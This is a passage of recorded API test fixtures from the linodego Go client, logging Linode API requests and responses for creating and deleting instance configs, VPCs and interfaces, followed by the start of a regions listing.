volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-6i73l4y0tac7","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874244/configs method: POST response: body: '{"id": 65094703, "label": "go-test-conf-6i73l4y0tac7", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": false, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "540" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1721929576244854000","region":"us-iad","subnets":[{"label":"linodego-vpc-test-1721929576245077000","ipv4":"192.168.0.0/25"}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 78824, "label": "go-test-vpc-1721929576244854000", "description": "", "region": "us-iad", "subnets": [{"id": 76443, "label": "linodego-vpc-test-1721929576245077000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "365" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"purpose":"vpc","subnet_id":76443}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874244/configs/65094703/interfaces method: POST response: body: '{"id": 2047747, "purpose": "vpc", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": 78824, "subnet_id": 76443, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": null}, "ipv6": null, "ip_ranges": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "222" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874244/configs/65094703/interfaces method: GET response: body: '[{"id": 2047747, "purpose": "vpc", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": 78824, "subnet_id": 76443, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": null}, "ipv6": null, "ip_ranges": []}]' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "224" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874244/configs/65094703/interfaces/2047747 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:17 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874244/configs/65094703/interfaces method: GET response: body: '[]' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:17 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874244 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:17 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/78824 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:17 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestInstance_ConfigInterfaces_List.yaml000066400000000000000000001214001474652371000342570ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-den-edge-1", "label": "Edge - Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-edge-1", "label": "Edge - Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-edge-1", "label": "Edge - Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-edge-1", "label": "Edge - Johannesburg, ZA\t", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "my-kul-edge-1", "label": "Edge - Kuala Lumpur, MY", "country": "my", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-edge-1", "label": "Edge - Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-edge-1", "label": "Edge - Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-edge-1", "label": "Edge - Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-edge-1", "label": "Edge - Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 